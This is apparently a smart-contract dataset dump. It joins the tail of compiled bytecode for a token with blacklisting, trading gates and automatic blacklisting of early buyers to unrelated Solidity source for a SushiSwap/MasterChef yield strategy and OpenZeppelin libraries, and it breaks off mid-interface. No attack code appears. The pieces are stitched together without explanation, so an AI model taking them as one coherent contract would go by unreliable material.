580156118dd57506001600160a01b0383166000908152600e602052604090205460ff16155b6119435760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b6064820152608401610bac565b8061195457611045838360006123d1565b600b5460ff1615611e0e576005546001600160a01b0384811691161480159061198b57506005546001600160a01b03838116911614155b801561199f57506001600160a01b03821615155b80156119b657506001600160a01b03821661dead14155b80156119cc5750600554600160a01b900460ff16155b15611e0e57600b54610100900460ff16611a64576001600160a01b0383166000908152601f602052604090205460ff1680611a1f57506001600160a01b0382166000908152601f602052604090205460ff165b611a645760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610bac565b600f5460ff1615611bab576005546001600160a01b03838116911614801590611abf57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611afd57507f000000000000000000000000d323c2bb17e39e9f1ae4d2176c1bb2be732bd9756001600160a01b0316826001600160a01b031614155b15611bab57326000908152600c60205260409020544311611b985760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610bac565b326000908152600c602052604090204390555b6001600160a01b03831660009081526021602052604090205460ff168015611beb57506001600160a01b038216600090815260208052604090205460ff16155b15611ccf57600854811115611c605760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610bac565b600a546001600160a01b038316600090815260208190526040902054611c869083612dda565b1115611cca5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610bac565b611e0e565b6001600160a01b03821660009081526021602052604090205460ff168015611d0f57506001600160a01b038316600090815260208052604090205460ff16155b15611d8557600854811115611cca5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610bac565b6001600160a01b038216600090815260208052604090205460ff16611e0e57600a546001600160a01b038316600090815260208190526040902054611dca9083612dda565b1115611e0e5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610bac565b601e54611e1c906001612dda565b4311158015611e5d57507f000000000000000000000000d323c2bb17e39e9f1ae4d2176c1bb2be732bd9756001600160a01b0316826001600160a01b031614155b8015611e8657506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d14155b15611eaf576001600160a01b0382166000908152600e60205260409020805460ff191660011790555b7f000000000000000000000000d323c2bb17e39e9f1ae4d2176c1bb2be732bd9756001600160a01b0390811690841614801581611ef55750600b546301000000900460ff165b15611f9a576001600160a01b0384166000908152600d602052604090205415801590611f4757506001600160a01b0384166000908152600d60205260409020544290611f449062015180612dda565b10155b15611f805760185460168190556019546015819055601a54601781905591611f6e91612dda565b611f789190612dda565b60145561200d565b60046016819055601581905560175490611f6e9080612dda565b6001600160a01b0383166000908152600d6020526040902054611fd3576001600160a01b0383166000908152600d602052604090204290555b600b546301000000900460ff1661200d576004601681905560158190556017819055611fff8180612dda565b6120099190612dda565b6014555b30600090815260208190526040902054600954811080159081906120395750600b5462010000900460ff165b801561204f5750600554600160a01b900460ff16155b801561207457506001600160a01b03861660009081526021602052604090205460ff16155b801561209957506001600160a01b0386166000908152601f602052604090205460ff16155b80156120be57506001600160a01b0385166000908152601f602052604090205460ff16155b156120ec576005805460ff60a01b1916600160a01b1790556120de6124da565b6005805460ff60a01b191690555b6005546001600160a01b0387166000908152601f602052604090205460ff600160a01b90920482161591168061213a57506001600160a01b0386166000908152601f602052604090205460ff165b15612143575060005b6000811561232e576001600160a01b03871660009081526021602052604090205460ff16801561217557506000601454115b156122335761219a60646121946014548961271490919063ffffffff16565b90612793565b9050601454601654826121ad9190612d99565b6121b79190612db8565b601c60008282546121c89190612dda565b90915550506014546017546121dd9083612d99565b6121e79190612db8565b601d60008282546121f89190612dda565b909155505060145460155461220d9083612d99565b6122179190612db8565b601b60008282546122289190612dda565b909155506123109050565b6001600160a01b03881660009081526021602052604090205460ff16801561225d57506000601054115b156123105761227c60646121946010548961271490919063ffffffff16565b90506010546012548261228f9190612d99565b6122999190612db8565b601c60008282546122aa9190612dda565b90915550506010546013546122bf9083612d99565b6122c99190612db8565b601d60008282546122da9190612dda565b90915550506010546011546122ef9083612d99565b6122f99190612db8565b601b600082825461230a9190612dda565b90915550505b8015612321576123218830836123d1565b61232b8187612e7a565b95505b6123398888886123d1565b5050505050505050565b600081848411156123675760405162461bcd60e51b8152600401610bac9190612afb565b5060006123748486612e7a565b95945050505050565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166123f75760405162461bcd60e51b8152600401610bac90612df2565b6001600160a01b03821661241d5760405162461bcd60e51b8152600401610bac90612e37565b61245a81604051806060016040528060268152602001612f64602691396001600160a01b0386166000908152602081905260409020549190612343565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461248990826116c4565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611842565b3060009081526020819052604081205490506000601d54601b54601c546125019190612dda565b61250b9190612dda565b9050600082158061251a575081155b1561252457505050565b600954612532906014612d99565b83111561254a57600954612547906014612d99565b92505b6000600283601c548661255d9190612d99565b6125679190612db8565b6125719190612db8565b9050600061257f85836127d5565b90504761258b82612817565b600061259747836127d5565b905060006125b487612194601b548561271490919063ffffffff16565b905060006125d188612194601d548661271490919063ffffffff16565b90506000816125e08486612e7a565b6125ea9190612e7a565b6000601c819055601b819055601d8190556007546040519293506001600160a01b031691849181818185875af1925050503d8060008114612647576040519150601f19603f3d011682016040523d82523d6000602084013e61264c565b606091505b509098505086158015906126605750600081115b156126b35761266f87826129de565b601c54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612700576040519150601f19603f3d011682016040523d82523d6000602084013e612705565b606091505b50505050505050505050505050565b60008261272357506000610b7c565b600061272f8385612d99565b90508261273c8583612db8565b146117235760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610bac565b600061172383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612acd565b600061172383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612343565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061284c5761284c612e91565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156128c557600080fd5b505afa1580156128d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128fd9190612ea7565b8160018151811061291057612910612e91565b60200260200101906001600160a01b031690816001600160a01b03168152505061295b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461172a565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906129b0908590600090869030904290600401612ec4565b600060405180830381600087803b1580156129ca57600080fd5b505af1158015610da1573d6000803e3d6000fd5b612a09307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461172a565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c4016060604051808303818588803b158015612a8d57600080fd5b505af1158015612aa1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612ac69190612f35565b5050505050565b60008183612aee5760405162461bcd60e51b8152600401610bac9190612afb565b5060006123748486612db8565b600060208083528351808285015260005b81811015612b2857858101830151858201604001528201612b0c565b81811115612b3a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114612b6557600080fd5b50565b60008060408385031215612b7b57600080fd5b8235612b8681612b50565b946020939093013593505050565b600060208284031215612ba657600080fd5b813561172381612b50565b600060208284031215612bc357600080fd5b5035919050565b60008060008060008060c08789031215612be357600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600080600060608486031215612c2257600080fd5b8335612c2d81612b50565b92506020840135612c3d81612b50565b929592945050506040919091013590565b8035801515811461159757600080fd5b60008060408385031215612c7157600080fd5b8235612c7c81612b50565b9150612c8a60208401612c4e565b90509250929050565b600080600060608486031215612ca857600080fd5b505081359360208301359350604090920135919050565b600060208284031215612cd157600080fd5b61172382612c4e565b60008060408385031215612ced57600080fd5b8235612cf881612b50565b91506020830135612d0881612b50565b809150509250929050565b600181811c90821680612d2757607f821691505b60208210811415612d4857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612db357612db3612d83565b500290565b600082612dd557634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612ded57612ded612d83565b500190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600082821015612e8c57612e8c612d83565b500390565b634e487b7160e01b600052603260045260246000fd5b600060208284031215612eb957600080fd5b815161172381612b50565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612f145784516001600160a01b031683529383019391830191600101612eef565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612f4a57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207643c373c03da493796a1f5d97fda7c72803ffdeed26563e28444090797cac1d64736f6c63430008090033
[ 21, 4, 7, 13, 5 ]
0xf270E3051C8552101E760f318407A86bE5fc0572
pragma solidity 0.5.16; import "../../base/sushi-base/MasterChefStrategyWithBuyback.sol"; contract NFT20Strategy_MASK is MasterChefStrategyWithBuyback { address public mask_eth_unused; // just a differentiator for the bytecode address public constant maskEthLp = address(0xaa617C8726ADFDe9e7b08746457E6b90ddB21480); address public constant masterChef = address(0x193b775aF4BF9E11656cA48724A710359446BF52); address public constant muse = address(0xB6Ca7399B4F9CA56FC27cBfF44F4d2e4Eef1fc81); address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address public constant mask = address(0xc2BdE1A2fA26890c8E6AcB10C91CC6D9c11F4a73); constructor() public {} function initializeStrategy( address _storage, address _vault, address _distributionPool ) public initializer { uint256 poolId = 5; MasterChefStrategyWithBuyback.initializeBaseStrategy( _storage, maskEthLp, _vault, masterChef, muse, poolId, true, // is LP asset true, // use Uniswap _distributionPool, 5000 ); uniswapRoutes[weth] = [muse, weth]; // swaps to weth uniswapRoutes[mask] = [muse, weth, mask]; // no swapping needed setSell(true); } } pragma solidity 0.5.16; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../interface/uniswap/IUniswapV2Router02.sol"; import "../interface/IStrategy.sol"; import "../interface/IRewardPool.sol"; import "../interface/IVault.sol"; import "../upgradability/BaseUpgradeableStrategy.sol"; import "./interfaces/IMasterChef.sol"; import "../interface/uniswap/IUniswapV2Pair.sol"; contract MasterChefStrategyWithBuyback is IStrategy, BaseUpgradeableStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; address public constant uniswapRouterV2 = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public constant sushiswapRouterV2 = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // additional storage slots (on top of BaseUpgradeableStrategy ones) are defined here bytes32 internal constant _POOLID_SLOT = 0x3fd729bfa2e28b7806b03a6e014729f59477b530f995be4d51defc9dad94810b; bytes32 internal constant _USE_UNI_SLOT = 0x1132c1de5e5b6f1c4c7726265ddcf1f4ae2a9ecf258a0002de174248ecbf2c7a; bytes32 internal constant _IS_LP_ASSET_SLOT = 0xc2f3dabf55b1bdda20d5cf5fcba9ba765dfc7c9dbaf28674ce46d43d60d58768; bytes32 internal constant _DISTRIBUTION_POOL = 0xffff3ca4ef6be91c73d8650479019ed5238e272f1f8a0190b85eb7dae6fd4b6b; bytes32 internal constant _BUYBACK_RATIO = 0xec0174f2065dc3fa83d1e3b1944c6e3f68d25ad5cfc7af4559379936de9ba927; // this would be reset on each upgrade mapping (address => address[]) public uniswapRoutes; constructor() public BaseUpgradeableStrategy() { assert(_POOLID_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.poolId")) - 1)); assert(_USE_UNI_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.useUni")) - 1)); assert(_IS_LP_ASSET_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.isLpAsset")) - 1)); assert(_DISTRIBUTION_POOL == bytes32(uint256(keccak256("eip1967.strategyStorage.distributionPool")) - 1)); assert(_BUYBACK_RATIO == bytes32(uint256(keccak256("eip1967.strategyStorage.buybackRatio")) - 1)); } function initializeBaseStrategy( address _storage, address _underlying, address _vault, address _rewardPool, address _rewardToken, uint256 _poolID, bool _isLpAsset, bool _useUni, address _distributionPool, uint256 _buybackRatio ) public initializer { BaseUpgradeableStrategy.initialize( _storage, _underlying, _vault, _rewardPool, _rewardToken, 300, // profit sharing numerator 1000, // profit sharing denominator true, // sell 1e18, // sell floor 12 hours // implementation change delay ); require(IRewardPool(_distributionPool).lpToken() == _vault, "Incompatible pool"); require(_buybackRatio <= 10000, "Buyback ratio too high"); address _lpt; (_lpt,,,) = IMasterChef(rewardPool()).poolInfo(_poolID); require(_lpt == underlying(), "Pool Info does not match underlying"); _setPoolId(_poolID); if (_isLpAsset) { address uniLPComponentToken0 = IUniswapV2Pair(underlying()).token0(); address uniLPComponentToken1 = IUniswapV2Pair(underlying()).token1(); // these would be required to be initialized separately by governance uniswapRoutes[uniLPComponentToken0] = new address[](0); uniswapRoutes[uniLPComponentToken1] = new address[](0); } else { uniswapRoutes[underlying()] = new address[](0); } setBoolean(_USE_UNI_SLOT, _useUni); setBoolean(_IS_LP_ASSET_SLOT, _isLpAsset); setAddress(_DISTRIBUTION_POOL, _distributionPool); setUint256(_BUYBACK_RATIO, _buybackRatio); } function depositArbCheck() public view returns(bool) { return true; } function rewardPoolBalance() internal view returns (uint256 bal) { (bal,) = IMasterChef(rewardPool()).userInfo(poolId(), address(this)); } function exitRewardPool() internal { uint256 bal = rewardPoolBalance(); if (bal != 0) { IMasterChef(rewardPool()).withdraw(poolId(), bal); } } function emergencyExitRewardPool() internal { uint256 bal = rewardPoolBalance(); if (bal != 0) { IMasterChef(rewardPool()).emergencyWithdraw(poolId()); } } function unsalvagableTokens(address token) public view returns (bool) { return (token == rewardToken() || token == underlying()); } function enterRewardPool() internal { uint256 entireBalance = IERC20(underlying()).balanceOf(address(this)); IERC20(underlying()).safeApprove(rewardPool(), 0); IERC20(underlying()).safeApprove(rewardPool(), entireBalance); IMasterChef(rewardPool()).deposit(poolId(), entireBalance); } /* * In case there are some issues discovered about the pool or underlying asset * Governance can exit the pool properly * The function is only used for emergency to exit the pool */ function emergencyExit() public onlyGovernance { emergencyExitRewardPool(); _setPausedInvesting(true); } /* * Resumes the ability to invest into the underlying reward pools */ function continueInvesting() public onlyGovernance { _setPausedInvesting(false); } function setBuybackRatio(uint256 _newRatio) public onlyGovernance { setUint256(_BUYBACK_RATIO, _newRatio); } function setLiquidationPath(address _token, address [] memory _route) public onlyGovernance { uniswapRoutes[_token] = _route; } // We assume that all the tradings can be done on Uniswap function _liquidateReward() internal { uint256 rewardBalance = IERC20(rewardToken()).balanceOf(address(this)); if (!sell() || rewardBalance < sellFloor()) { // Profits can be disabled for possible simplified and rapid exit emit ProfitsNotCollected(sell(), rewardBalance < sellFloor()); return; } notifyProfitAndBuybackInRewardToken( rewardBalance, distributionPool(), buybackRatio() ); uint256 remainingRewardBalance = IERC20(rewardToken()).balanceOf(address(this)); if (remainingRewardBalance == 0) { return; } address routerV2; if(useUni()) { routerV2 = uniswapRouterV2; } else { routerV2 = sushiswapRouterV2; } // allow Uniswap to sell our reward IERC20(rewardToken()).safeApprove(routerV2, 0); IERC20(rewardToken()).safeApprove(routerV2, remainingRewardBalance); // we can accept 1 as minimum because this is called only by a trusted role uint256 amountOutMin = 1; if (isLpAsset()) { address uniLPComponentToken0 = IUniswapV2Pair(underlying()).token0(); address uniLPComponentToken1 = IUniswapV2Pair(underlying()).token1(); uint256 toToken0 = remainingRewardBalance.div(2); uint256 toToken1 = remainingRewardBalance.sub(toToken0); uint256 token0Amount; if (uniswapRoutes[uniLPComponentToken0].length > 1) { // if we need to liquidate the token0 IUniswapV2Router02(routerV2).swapExactTokensForTokens( toToken0, amountOutMin, uniswapRoutes[uniLPComponentToken0], address(this), block.timestamp ); token0Amount = IERC20(uniLPComponentToken0).balanceOf(address(this)); } else { // otherwise we assme token0 is the reward token itself token0Amount = toToken0; } uint256 token1Amount; if (uniswapRoutes[uniLPComponentToken1].length > 1) { // sell reward token to token1 IUniswapV2Router02(routerV2).swapExactTokensForTokens( toToken1, amountOutMin, uniswapRoutes[uniLPComponentToken1], address(this), block.timestamp ); token1Amount = IERC20(uniLPComponentToken1).balanceOf(address(this)); } else { token1Amount = toToken1; } // provide token1 and token2 to SUSHI IERC20(uniLPComponentToken0).safeApprove(routerV2, 0); IERC20(uniLPComponentToken0).safeApprove(routerV2, token0Amount); IERC20(uniLPComponentToken1).safeApprove(routerV2, 0); IERC20(uniLPComponentToken1).safeApprove(routerV2, token1Amount); // we provide liquidity to sushi uint256 liquidity; (,,liquidity) = IUniswapV2Router02(routerV2).addLiquidity( uniLPComponentToken0, uniLPComponentToken1, token0Amount, token1Amount, 1, // we are willing to take whatever the pair gives us 1, // we are willing to take whatever the pair gives us address(this), block.timestamp ); } else { IUniswapV2Router02(routerV2).swapExactTokensForTokens( remainingRewardBalance, amountOutMin, uniswapRoutes[underlying()], address(this), block.timestamp ); } } /* * Stakes everything the strategy holds into the reward pool */ function investAllUnderlying() internal onlyNotPausedInvesting { // this check is needed, because most of the SNX reward pools will revert if // you try to stake(0). if(IERC20(underlying()).balanceOf(address(this)) > 0) { enterRewardPool(); } } /* * Withdraws all the asset to the vault */ function withdrawAllToVault() public restricted { if (address(rewardPool()) != address(0)) { exitRewardPool(); } _liquidateReward(); IERC20(underlying()).safeTransfer(vault(), IERC20(underlying()).balanceOf(address(this))); } /* * Withdraws all the asset to the vault */ function withdrawToVault(uint256 amount) public restricted { // Typically there wouldn't be any amount here // however, it is possible because of the emergencyExit uint256 entireBalance = IERC20(underlying()).balanceOf(address(this)); if(amount > entireBalance){ // While we have the check above, we still using SafeMath below // for the peace of mind (in case something gets changed in between) uint256 needToWithdraw = amount.sub(entireBalance); uint256 toWithdraw = Math.min(rewardPoolBalance(), needToWithdraw); IMasterChef(rewardPool()).withdraw(poolId(), toWithdraw); } IERC20(underlying()).safeTransfer(vault(), amount); } /* * Note that we currently do not have a mechanism here to include the * amount of reward that is accrued. */ function investedUnderlyingBalance() external view returns (uint256) { if (rewardPool() == address(0)) { return IERC20(underlying()).balanceOf(address(this)); } // Adding the amount locked in the reward pool and the amount that is somehow in this contract // both are in the units of "underlying" // The second part is needed because there is the emergency exit mechanism // which would break the assumption that all the funds are always inside of the reward pool return rewardPoolBalance().add(IERC20(underlying()).balanceOf(address(this))); } /* * Governance or Controller can claim coins that are somehow transferred into the contract * Note that they cannot come in take away coins that are used and defined in the strategy itself */ function salvage(address recipient, address token, uint256 amount) external onlyControllerOrGovernance { // To make sure that governance cannot come in and take away the coins require(!unsalvagableTokens(token), "token is defined as not salvagable"); IERC20(token).safeTransfer(recipient, amount); } /* * Get the reward, sell it in exchange for underlying, invest what you got. * It's not much, but it's honest work. * * Note that although `onlyNotPausedInvesting` is not added here, * calling `investAllUnderlying()` affectively blocks the usage of `doHardWork` * when the investing is being paused by governance. */ function doHardWork() external onlyNotPausedInvesting restricted { exitRewardPool(); _liquidateReward(); investAllUnderlying(); } /** * Can completely disable claiming UNI rewards and selling. Good for emergency withdraw in the * simplest possible way. */ function setSell(bool s) public onlyGovernance { _setSell(s); } /** * Sets the minimum amount of CRV needed to trigger a sale. */ function setSellFloor(uint256 floor) public onlyGovernance { _setSellFloor(floor); } // masterchef rewards pool ID function _setPoolId(uint256 _value) internal { setUint256(_POOLID_SLOT, _value); } function poolId() public view returns (uint256) { return getUint256(_POOLID_SLOT); } function setUseUni(bool _value) public onlyGovernance { setBoolean(_USE_UNI_SLOT, _value); } function useUni() public view returns (bool) { return getBoolean(_USE_UNI_SLOT); } function isLpAsset() public view returns (bool) { return getBoolean(_IS_LP_ASSET_SLOT); } function distributionPool() public view returns (address) { return getAddress(_DISTRIBUTION_POOL); } function buybackRatio() public view returns (uint256) { return getUint256(_BUYBACK_RATIO); } function finalizeUpgrade() external onlyGovernance { _finalizeUpgrade(); // reset the liquidation paths // they need to be re-set manually if (isLpAsset()) { uniswapRoutes[IUniswapV2Pair(underlying()).token0()] = new address[](0); uniswapRoutes[IUniswapV2Pair(underlying()).token1()] = new address[](0); } else { uniswapRoutes[underlying()] = new address[](0); } } } pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; import "./IERC20.sol"; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } pragma solidity ^0.5.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint 